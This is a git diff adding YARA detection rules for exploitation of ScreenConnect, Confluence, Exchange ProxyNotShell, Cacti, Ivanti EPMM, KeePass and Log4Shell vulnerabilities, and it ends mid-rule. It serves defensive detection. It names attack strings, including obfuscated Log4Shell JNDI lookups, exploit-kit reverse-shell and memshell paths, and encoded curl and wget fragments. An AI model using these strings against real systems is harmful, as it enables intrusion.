+/* only usable with THOR or THOR Lite, e.g. in THOR Cloud */
+
+rule SUSP_ScreenConnect_User_Gmail_2024_Feb24 {
+   meta:
+      description = "Detects suspicious ScreenConnect user with Gmail address created in 2024, which could be a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
+      author = "Florian Roth"
+      reference = "https://twitter.com/_johnhammond/status/1760357971127832637"
+      date = "2024-02-22"
+      score = 65
+      id = "3c86f4ee-4e8c-566b-b54e-e94418e4ec7e"
+   strings:
+      $a1 = "<Users xmlns:xsi="
+
+      $s1 = "@gmail.com</Email>"
+      $s2 = "<CreationDate>2024-"
+   condition:
+      filesize < 200KB
+      and all of them
+      and filepath contains "\\ScreenConnect\\App_Data\\"
+}
+
+rule SUSP_ScreenConnect_New_User_2024_Feb24 {
+   meta:
+      description = "Detects suspicious new ScreenConnect user created in 2024, which could be a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
+      author = "Florian Roth"
+      reference = "https://twitter.com/_johnhammond/status/1760357971127832637"
+      date = "2024-02-22"
+      score = 50
+      id = "f6675ded-39a4-590a-a201-fcfe3c056e60"
+   strings:
+      $a1 = "<Users xmlns:xsi="
+
+      $s1 = "<CreationDate>2024-"
+   condition:
+      filesize < 200KB
+      and all of them
+      and filepath contains "\\ScreenConnect\\App_Data\\"
+}
+
+rule SUSP_ScreenConnect_User_2024_No_Logon_Feb24 {
+   meta:
+      description = "Detects suspicious ScreenConnect user created in 2024 but without any login, which could be a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
+      author = "Florian Roth"
+      reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
+      date = "2024-02-23"
+      score = 60
+      id = "c0861f1c-08e2-565d-a468-2075c51b4004"
+   strings:
+      $a1 = "<Users xmlns:xsi="
+      $a2 = "<CreationDate>"
+
+      $s1 = "<CreationDate>2024-"
+      $s2 = "<LastLoginDate>0001-01-01T00:00:00</LastLoginDate>"
+   condition:
+      filesize < 200KB
+      and all of them
+      and filepath contains "\\ScreenConnect\\App_Data\\"
+}
diff --git a/yara-Neo23x0/expl_cve_2021_1647.yar b/yara-Neo23x0/expl_cve_2021_1647.yar
new file mode 100644
index 0000000..3f4546d
--- /dev/null
+++ b/yara-Neo23x0/expl_cve_2021_1647.yar
@@ -0,0 +1,18 @@
+/* minimal modifications by Florian Roth */
+rule EXPL_CVE_2021_1647_Apr21_1 {
+   meta:
+        description = "Detects samples that exploit CVE-2021-1647"
+        author = "Arkbird_SOLG"
+        reference = "https://attackerkb.com/topics/DzXZpEuBeP/cve-2021-1647-microsoft-windows-defender-zero-day-vulnerability"
+        date = "2021-05-04"
+        hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
+        hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
+        hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
+        hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
+        id = "ecce018e-1bee-5374-b6c8-984c2a8c2530"
+   strings:
+        $seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
+        $seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }
+   condition:
+     filesize > 10KB and filesize < 10000KB and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/expl_cve_2021_26084_confluence_log.yar b/yara-Neo23x0/expl_cve_2021_26084_confluence_log.yar
new file mode 100644
index 0000000..0d6b87f
--- /dev/null
+++ b/yara-Neo23x0/expl_cve_2021_26084_confluence_log.yar
@@ -0,0 +1,24 @@
+
+rule LOG_EXPL_Confluence_RCE_CVE_2021_26084_Sep21 : LOG {
+   meta:
+      description = "Detects exploitation attempts against Confluence servers abusing a RCE reported as CVE-2021-26084"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md"
+      date = "2021-09-01"
+      score = 55
+      id = "bbf98ce4-d32b-541a-b727-bc35c9aaef53"
+   strings:
+      $xr1 = /isSafeExpression Unsafe clause found in \['[^\n]{1,64}\\u0027/ ascii wide
+      $xs1 = "[util.velocity.debug.DebugReferenceInsertionEventHandler] referenceInsert resolving reference [$!queryString]"
+      $xs2 = "userName: anonymous | action: createpage-entervariables ognl.ExpressionSyntaxException: Malformed OGNL expression: '\\' [ognl.TokenMgrError: Lexical error at line 1"
+
+      $sa1 = "GET /pages/doenterpagevariables.action"
+      $sb1 = "%5c%75%30%30%32%37"
+      $sb2 = "\\u0027"
+
+      $sc1 = " ERROR "
+      $sc2 = " | userName: anonymous | action: createpage-entervariables"
+      $re1 = /\[confluence\.plugins\.synchrony\.SynchronyContextProvider\] getContextMap (\n )?-- url: \/pages\/createpage-entervariables\.action/
+   condition:
+      1 of ($x*) or ( $sa1 and 1 of ($sb*) ) or (all of ($sc*) and $re1)
+}
diff --git a/yara-Neo23x0/expl_cve_2021_40444.yar b/yara-Neo23x0/expl_cve_2021_40444.yar
new file mode 100644
index 0000000..4358601
--- /dev/null
+++ b/yara-Neo23x0/expl_cve_2021_40444.yar
@@ -0,0 +1,98 @@
+/*
+   Modified rule of Jeremy Brown
+   see my video: https://www.youtube.com/watch?v=53gpfmKFxr4
+*/
+
+rule EXPL_CVE_2021_40444_Document_Rels_XML {
+   meta:
+      description = "Detects indicators found in weaponized documents that exploit CVE-2021-40444"
+      author = "Jeremy Brown / @alteredbytes"
+      reference = "https://twitter.com/AlteredBytes/status/1435811407249952772"
+      date = "2021-09-10"
+      id = "812bb68e-71ea-5a9a-8d39-ab99fdaa6c58"
+   strings:
+      $b1 = "/relationships/oleObject" ascii 
+      $b2 = "/relationships/attachedTemplate" ascii
+
+      $c1 = "Target=\"mhtml:http" nocase
+      $c2 = "!x-usc:http" nocase
+      $c3 = "TargetMode=\"External\"" nocase
+   condition:
+      uint32(0) == 0x6D783F3C
+      and filesize < 10KB
+      and 1 of ($b*)
+      and all of ($c*)
+}
+
+rule EXPL_MAL_MalDoc_OBFUSCT_MHTML_Sep21_1 {
+   meta:
+      description = "Detects suspicious office reference files including an obfuscated MHTML reference exploiting CVE-2021-40444"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/decalage2/status/1438946225190014984?s=20"
+      date = "2021-09-18"
+      score = 90
+      hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
+      id = "781cfd61-d5ac-58e5-868f-dbd2a2df3500"
+   strings:
+      $h1 = "<?xml " ascii wide
+      $s1 = "109;&#104;&#116;&#109;&#108;&#58;&#104;&#116;&#109;&#108" ascii wide
+   condition:
+      filesize < 25KB and all of them
+}
+
+
+rule EXPL_XML_Encoded_CVE_2021_40444 {
+   meta:
+      author = "James E.C, Proofpoint"
+      description = "Detects possible CVE-2021-40444 with no encoding, HTML/XML entity (and hex notation) encoding, or all 3"
+      reference = "https://twitter.com/sudosev/status/1439205606129377282"
+      date = "2021-09-18"
+      modified = "2021-09-19"
+      score = 70
+      hash = "13DE9F39B1AD232E704B5E0B5051800FCD844E9F661185ACE8287A23E9B3868E" // document.xml
+      hash = "84674ACFFBA5101C8AC518019A9AFE2A78A675EF3525A44DCEDDEED8A0092C69" // original .docx
+      id = "4bf9ec64-c662-5c8f-9e58-12a7412ef07d"
+   strings:
+      $h1 = "<?xml " ascii wide
+      $t_xml_r = /Target[\s]{0,20}=[\s]{0,20}\["']([Mm]|&#(109|77|x6d|x4d);)([Hh]|&#(104|72|x68|x48);)([Tt]|&#(116|84|x74|x54);)([Mm]|&#(109|77|x6d|x4d);)([Ll]|&#(108|76|x6c|x4c);)(:|&#58;|&#x3a)/
+      $t_mode_r = /TargetMode[\s]{0,20}=[\s]{0,20}\["']([Ee]|&#(x45|x65|69|101);)([Xx]|&#(x58|x78|88|120);)([Tt]|&#(x74|x54|84|116);)/
+   condition:
+      filesize < 500KB and $h1 and all of ($t_*)
+}
+
+/* not directly related to CVE-2021-40444 */
+rule SUSP_OBFUSC_Indiators_XML_OfficeDoc_Sep21_1 : Windows CVE {
+   meta:
+      author = "Florian Roth (Nextron Systems)"
+      description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
+      reference = "https://twitter.com/sudosev/status/1439205606129377282"
+      date = "2021-09-18"
+      score = 65
+      hash = "13DE9F39B1AD232E704B5E0B5051800FCD844E9F661185ACE8287A23E9B3868E" // document.xml
+      hash = "84674ACFFBA5101C8AC518019A9AFE2A78A675EF3525A44DCEDDEED8A0092C69" // original .docx
+      id = "ffcaf270-f574-5692-90e5-6776c34eb71b"
+   strings:
+      $h1 = "<?xml " ascii wide
+
+      $xml_e = "Target=\"&#" ascii wide
+      $xml_mode_1 = "TargetMode=\"&#" ascii wide
+   condition:
+      filesize < 500KB and $h1 and 1 of ($xml*)
+}
+
+rule SUSP_OBFUSC_Indiators_XML_OfficeDoc_Sep21_2 : Windows CVE {
+   meta:
+      author = "Florian Roth (Nextron Systems)"
+      description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
+      reference = "https://twitter.com/sudosev/status/1439205606129377282"
+      date = "2021-09-18"
+      score = 65
+      id = "c3c5ec4f-5d2a-523c-bd4b-b75c04bac87d"
+   strings:
+      $h1 = "<?xml " ascii wide
+      $a1 = "Target" ascii wide
+      $a2 = "TargetMode" ascii wide
+      $xml_e = "&#x0000" ascii wide
+   condition:
+      filesize < 500KB and all of them
+}
diff --git a/yara-Neo23x0/expl_cve_2022_41040_proxynoshell.yar b/yara-Neo23x0/expl_cve_2022_41040_proxynoshell.yar
new file mode 100644
index 0000000..19c76c0
--- /dev/null
+++ b/yara-Neo23x0/expl_cve_2022_41040_proxynoshell.yar
@@ -0,0 +1,26 @@
+
+rule EXPL_Exchange_ProxyNotShell_Patterns_CVE_2022_41040_Oct22_1 : SCRIPT {
+   meta:
+      description = "Detects successful ProxyNotShell exploitation attempts in log files (attempt to identify the attack before the official release of detailed information)"
+      author = "Florian Roth (Nextron Systems)"
+      score = 75
+      old_rule_name = "EXPL_Exchange_ProxyNoShell_Patterns_CVE_2022_41040_Oct22_1"
+      reference = "https://github.com/kljunowsky/CVE-2022-41040-POC"
+      date = "2022-10-11"
+      modified = "2023-03-15"
+      id = "d2812fcd-0a20-5bbd-a9e1-9cca1ed58aa3"
+   strings:
+      $sr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}owershell/ nocase ascii
+
+      $sa1 = " 200 "
+
+      $fp1 = " 444 "
+      $fp2 = " 404 "
+      $fp2b = " 401 " /* Unauthorized */
+      $fp3 = "GET /owa/ &Email=autodiscover/autodiscover.json%3F@test.com&ClientId=" ascii /* Nessus */
+      $fp4 = "@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com" ascii /* Nessus */
+   condition:
+      $sr1
+      and 1 of ($sa*)
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/expl_cve_2022_46169_cacti.yar b/yara-Neo23x0/expl_cve_2022_46169_cacti.yar
new file mode 100644
index 0000000..d2d4b25
--- /dev/null
+++ b/yara-Neo23x0/expl_cve_2022_46169_cacti.yar
@@ -0,0 +1,13 @@
+rule EXPL_LOG_Cacti_CommandInjection_CVE_2022_46169_Dec22_1 {
+   meta:
+      description = "Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169"
+      author = "Nasreddine Bencherchali"
+      score = 70
+      reference = "https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf"
+      date = "2022-12-27"
+      id = "c799a419-87ed-55ea-8ebb-d4da901be4ad"
+   strings:
+      $xr1 = /\/remote_agent\.php.{1,300}(whoami|\/bin\/bash|\/bin\/sh|\bwget\b|powershell|cmd \/c|cmd\.exe \/c).{1,300} 200 / ascii
+   condition:
+      $xr1
+}
diff --git a/yara-Neo23x0/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar b/yara-Neo23x0/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar
new file mode 100644
index 0000000..05c6f19
--- /dev/null
+++ b/yara-Neo23x0/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar
@@ -0,0 +1,53 @@
+
+rule LOG_EXPL_Ivanti_EPMM_MobileIron_Core_CVE_2023_35078_Jul23_1 {
+   meta:
+      description = "Detects the successful exploitation of Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core CVE-2023-35078"
+      author = "Florian Roth"
+      reference = "Ivanti Endpoint Manager Mobile (EPMM) CVE-2023-35078 - Analysis Guidance"
+      date = "2023-07-25"
+      score = 75
+      id = "44cca0b5-3851-5786-82fd-ce3ccb566453"
+   strings:
+      $xr1 = /\/mifs\/aad\/api\/v2\/[^\n]{1,300} 200 [1-9][0-9]{0,60} /
+   condition:
+      $xr1
+}
+
+rule MAL_WAR_Ivanti_EPMM_MobileIron_Mi_War_Aug23 {
+   meta:
+      description = "Detects WAR file found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
+      author = "Florian Roth"
+      reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
+      date = "2023-08-01"
+      score = 85
+      hash1 = "6255c75e2e52d779da39367e7a7d4b8d1b3c9c61321361952dcc05819251a127"
+      id = "cd16cf29-a90d-5c3f-b66f-e9264dbf79fb"
+   strings:
+      $s1 = "logsPaths.txt" ascii fullword
+      $s2 = "keywords.txtFirefox" ascii
+   condition:
+      uint16(0) == 0x4b50 and
+      filesize < 20KB and
+      all of them
+}
+
+rule MAL_WAR_Ivanti_EPMM_MobileIron_LogClear_JAVA_Aug23 {
+   meta:
+      description = "Detects LogClear.class found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
+      author = "Florian Roth"
+      reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
+      date = "2023-08-01"
+      score = 80
+      hash1 = "deb381c25d7a511b9eb936129eeba2c0341cff7f4bd2168b05e40ab2ee89225e"
+      id = "e1ef3bf3-0107-5ba6-a49f-71e079851a4f"
+   strings:
+      $s1 = "logsPaths.txt" ascii fullword
+      $s2 = "log file: %s, not read" ascii fullword
+      $s3 = "/tmp/.time.tmp" ascii fullword
+      $s4 = "readKeywords" ascii fullword
+      $s5 = "\"----------------  ----------------" ascii fullword
+   condition:
+      uint16(0) == 0xfeca and
+      filesize < 20KB and
+      4 of them or all of them
+}
diff --git a/yara-Neo23x0/expl_keepass_cve_2023_24055.yar b/yara-Neo23x0/expl_keepass_cve_2023_24055.yar
new file mode 100644
index 0000000..ffc7b72
--- /dev/null
+++ b/yara-Neo23x0/expl_keepass_cve_2023_24055.yar
@@ -0,0 +1,37 @@
+
+rule EXPL_Keepass_CVE_2023_24055_Jan23 {
+   meta:
+      description = "Detects suspicious entries in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
+      date = "2023-01-25"
+      score = 75
+      id = "2c031919-da19-5fd0-b21a-2e83679ad1e3"
+   strings:
+      $a1 = "<TriggerCollection xmlns:xsi=" ascii wide
+
+      $x1 = "<Parameter>KeePass XML (2.x)</Parameter>"
+      $x2 = "::ReadAllBytes("
+      $x3 = " -Method "
+      $x4 = " bypass "
+      $x5 = "powershell" nocase ascii wide fullword
+   condition:
+      filesize < 200KB and $a1 and 1 of ($x*)
+}
+
+rule SUSP_Keepass_CVE_2023_24055_Jan23 {
+   meta:
+      description = "Detects suspicious triggers defined in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
+      date = "2023-01-25"
+      score = 60
+      id = "4ff1a93f-f7f0-528d-9e07-402e321a0ffe"
+   strings:
+      $a1 = "<TriggerCollection xmlns:xsi=" ascii wide
+
+      $s1 = "<Action>" ascii wide
+      $s2 = "<Parameter>" ascii wide
+   condition:
+      filesize < 200KB and $a1 and all of ($s*)
+}
diff --git a/yara-Neo23x0/expl_libcue_cve_2023_43641.yar b/yara-Neo23x0/expl_libcue_cve_2023_43641.yar
new file mode 100644
index 0000000..c063144
--- /dev/null
+++ b/yara-Neo23x0/expl_libcue_cve_2023_43641.yar
@@ -0,0 +1,17 @@
+
+rule SUSP_EXPL_LIBCUE_CVE_2023_43641_Oct23_1 {
+   meta:
+      author = "Florian Roth"
+      description = "Detects a suspicious .cue file that could be an exploitation attempt of libcue vulnerability CVE-2023-43641"
+      reference = "https://github.com/github/securitylab/blob/main/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md"
+      date = "2023-10-27"
+      score = 70
+      id = "34fcf80c-adcd-55c0-9fb4-261d20f61fa6"
+   strings:
+      $a1 = "TRACK "
+      $a2 = "FILE "
+
+      $s1 = "INDEX 4294"
+   condition:
+      filesize < 100KB and all of them
+}
diff --git a/yara-Neo23x0/expl_libssh_cve_2023_2283_jun23.yar b/yara-Neo23x0/expl_libssh_cve_2023_2283_jun23.yar
new file mode 100644
index 0000000..7927021
--- /dev/null
+++ b/yara-Neo23x0/expl_libssh_cve_2023_2283_jun23.yar
@@ -0,0 +1,15 @@
+
+rule HKTL_EXPL_POC_LibSSH_Auth_Bypass_CVE_2023_2283_Jun23_1 {
+   meta:
+      description = "Detects POC code used in attacks against libssh vulnerability CVE-2023-2283"
+      author = "Florian Roth"
+      reference = "https://github.com/github/securitylab/tree/1786eaae7f90d87ce633c46bbaa0691d2f9bf449/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283"
+      date = "2023-06-08"
+      score = 85
+      id = "e72eba33-686f-5fca-bca3-2b875d1ec224"
+   strings:
+      $s1 = "nprocs = %d" ascii fullword
+      $s2 = "fork failed: %s" ascii fullword
+   condition:
+      uint16(0) == 0x457f and all of them
+}
diff --git a/yara-Neo23x0/expl_log4j_cve_2021_44228.yar b/yara-Neo23x0/expl_log4j_cve_2021_44228.yar
new file mode 100644
index 0000000..607f2f2
--- /dev/null
+++ b/yara-Neo23x0/expl_log4j_cve_2021_44228.yar
@@ -0,0 +1,226 @@
+
+rule EXPL_Log4j_CallBackDomain_IOCs_Dec21_1 {
+   meta:
+      description = "Detects IOCs found in Log4Shell incidents that indicate exploitation attempts of CVE-2021-44228"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8"
+      date = "2021-12-12"
+      score = 60
+      id = "474afa96-1758-587e-8cab-41c5205e245e"
+   strings:
+      $xr1  = /\b(ldap|rmi):\/\/([a-z0-9\.]{1,16}\.bingsearchlib\.com|[a-z0-9\.]{1,40}\.interact\.sh|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):[0-9]{2,5}\/([aZ]|ua|Exploit|callback|[0-9]{10}|http443useragent|http80useragent)\b/
+   condition:
+      1 of them
+}
+
+rule EXPL_JNDI_Exploit_Patterns_Dec21_1 {
+   meta:
+      description = "Detects JNDI Exploit Kit patterns in files"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/pimps/JNDI-Exploit-Kit"
+      date = "2021-12-12"
+      score = 60
+      id = "a9127dd2-b818-5ca8-877a-3c47b1e92606"
+   strings:
+      $x01 = "/Basic/Command/Base64/"
+      $x02 = "/Basic/ReverseShell/"
+      $x03 = "/Basic/TomcatMemshell"
+      $x04 = "/Basic/JettyMemshell"
+      $x05 = "/Basic/WeblogicMemshell"
+      $x06 = "/Basic/JBossMemshell"
+      $x07 = "/Basic/WebsphereMemshell"
+      $x08 = "/Basic/SpringMemshell"
+      $x09 = "/Deserialization/URLDNS/"
+      $x10 = "/Deserialization/CommonsCollections1/Dnslog/"
+      $x11 = "/Deserialization/CommonsCollections2/Command/Base64/"
+      $x12 = "/Deserialization/CommonsBeanutils1/ReverseShell/"
+      $x13 = "/Deserialization/Jre8u20/TomcatMemshell"
+      $x14 = "/TomcatBypass/Dnslog/"
+      $x15 = "/TomcatBypass/Command/"
+      $x16 = "/TomcatBypass/ReverseShell/"
+      $x17 = "/TomcatBypass/TomcatMemshell"
+      $x18 = "/TomcatBypass/SpringMemshell"
+      $x19 = "/GroovyBypass/Command/"
+      $x20 = "/WebsphereBypass/Upload/"
+
+      $fp1 = "<html"
+   condition:
+      1 of ($x*) and not 1 of ($fp*)
+}
+
+rule EXPL_Log4j_CVE_2021_44228_JAVA_Exception_Dec21_1 {
+   meta:
+      description = "Detects exceptions found in server logs that indicate an exploitation attempt of CVE-2021-44228"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b"
+      date = "2021-12-12"
+      score = 60
+      id = "82cf337e-4ea1-559b-a7b8-512a07adf06f"
+   strings:
+      $xa1 = "header with value of BadAttributeValueException: "
+      
+      $sa1 = ".log4j.core.net.JndiManager.lookup(JndiManager"
+      $sa2 = "Error looking up JNDI resource"
+   condition:
+      $xa1 or all of ($sa*)
+}
+
+rule EXPL_Log4j_CVE_2021_44228_Dec21_Soft : FILE {
+   meta:
+      description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
+      date = "2021-12-10"
+      modified = "2021-12-20"
+      score = 60
+      id = "87e536a5-cc11-528a-b100-4fa3b2b7bc0c"
+   strings:
+      $x01 = "${jndi:ldap:/"
+      $x02 = "${jndi:rmi:/"
+      $x03 = "${jndi:ldaps:/"
+      $x04 = "${jndi:dns:/"
+      $x05 = "${jndi:iiop:/"
+      $x06 = "${jndi:http:/"
+      $x07 = "${jndi:nis:/"
+      $x08 = "${jndi:nds:/"
+      $x09 = "${jndi:corba:/"
+
+      $fp1 = "<html"
+      $fp2 = "/nessus}"
+   condition:
+      1 of ($x*) and not 1 of ($fp*)
+}
+
+rule EXPL_Log4j_CVE_2021_44228_Dec21_OBFUSC {
+   meta:
+      description = "Detects obfuscated indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
+      date = "2021-12-12"
+      modified = "2021-12-13"
+      score = 60
+      id = "d7c4092a-6ffc-5a89-b73a-f7f0ac984cbd"
+   strings:
+      $x1 = "$%7Bjndi:"
+      $x2 = "%2524%257Bjndi"
+      $x3 = "%2F%252524%25257Bjndi%3A"
+      $x4 = "${jndi:${lower:"
+      $x5 = "${::-j}${"
+      $x6 = "${${env:BARFOO:-j}"
+      $x7 = "${::-l}${::-d}${::-a}${::-p}"
+      $x8 = "${base64:JHtqbmRp"
+
+      $fp1 = "<html"
+   condition:
+      1 of ($x*) and not 1 of ($fp*)
+}
+
+rule EXPL_Log4j_CVE_2021_44228_Dec21_Hard : FILE {
+   meta:
+      description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
+      author = "Florian Roth"
+      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
+      date = "2021-12-10"
+      modified = "2023-10-23"
+      score = 75
+      id = "5297c42d-7138-507d-a3eb-153afe522816"
+   strings:
+      $x1 = /\$\{jndi:(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
+      $x2 = "Reference Class Name: foo"
+      $fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
+
+      $fpg2 = "<html"
+      $fpg3 = "<HTML"
+      
+      $fp1 = "/QUALYSTEST" ascii
+      $fp2 = "w.nessus.org/nessus"
+      $fp3 = "/nessus}"
+   condition:
+      1 of ($x*) and not 1 of ($fp*)
+}
+
+rule SUSP_Base64_Encoded_Exploit_Indicators_Dec21 {
+   meta:
+      description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/Reelix/status/1469327487243071493"
+      date = "2021-12-10"
+      modified = "2021-12-13"
+      score = 70
+      id = "09abc4f0-ace7-5f53-b1d3-5f5c6bf3bdba"
+   strings:
+      /* curl -s  */
+      $sa1 = "Y3VybCAtcy"
+      $sa2 = "N1cmwgLXMg"
+      $sa3 = "jdXJsIC1zI"
+      /* |wget -q -O-  */
+      $sb1 = "fHdnZXQgLXEgLU8tI"
+      $sb2 = "x3Z2V0IC1xIC1PLS"
+      $sb3 = "8d2dldCAtcSAtTy0g"
+
+      $fp1 = "<html"
+   condition:
+      1 of ($sa*) and 1 of ($sb*)
+      and not 1 of ($fp*)
+}
+
+rule SUSP_JDNIExploit_Indicators_Dec21 {
+   meta:
+      description = "Detects indicators of JDNI usage in log files and other payloads"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/flypig5211/JNDIExploit"
+      date = "2021-12-10"
+      modified = "2021-12-12"
+      score = 70
+      id = "2df8b8f3-8d8d-5982-8c85-692b7d91ebb2"
+   strings:
+      $xr1 = /(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/\/[a-zA-Z0-9\.]{7,80}:[0-9]{2,5}\/(Basic\/Command\/Base64|Basic\/ReverseShell|Basic\/TomcatMemshell|Basic\/JBossMemshell|Basic\/WebsphereMemshell|Basic\/SpringMemshell|Basic\/Command|Deserialization\/CommonsCollectionsK|Deserialization\/CommonsBeanutils|Deserialization\/Jre8u20\/TomcatMemshell|Deserialization\/CVE_2020_2555\/WeblogicMemshell|TomcatBypass|GroovyBypass|WebsphereBypass)\//
+   condition:
+      filesize < 100MB and $xr1
